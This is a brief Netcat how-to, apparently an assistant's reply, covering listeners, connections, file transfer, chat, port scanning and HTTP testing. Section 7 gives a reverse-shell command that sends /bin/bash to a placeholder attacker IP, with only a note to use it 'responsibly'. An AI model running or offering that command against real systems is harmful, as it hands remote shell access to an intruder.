Using Netcat (nc) involves various commands depending on your specific needs. Here are some common scenarios:
1. Listening for Incoming Connections
To set up a listener on a specific port:
nc -l -p <port>
Example:
nc -l -p 1234
2. Connecting to a Remote Host
To connect to a remote server on a specific port:
nc <hostname> <port>
Example:
nc example.com 80
3. File Transfer
Sending a File:
On the sender's side:
nc <receiver_ip> <port> < file.txt
On the receiver's side:
nc -l -p <port> > received_file.txt
4. Chatting
Setting Up a Chat:
On one machine (listener):
nc -l -p 1234
On another machine (client):
nc <listener_ip> 1234
5. Port Scanning
To scan for open ports on a target:
nc -zv <target_ip> <port_range>
Example:
nc -zv 192.168.1.1 1-1000
6. Testing Network Services
To send a simple request to a web server:
echo "GET / HTTP/1.1" | nc <hostname> 80
7. Creating a Reverse Shell
(Use responsibly and ethically)
nc -e /bin/bash <attacker_ip> <port>
Tips:
- Use
-vfor verbose output to see connection details. - Use
-nto skip DNS resolution for faster connections.
Feel free to ask if you need more specific examples or explanations!
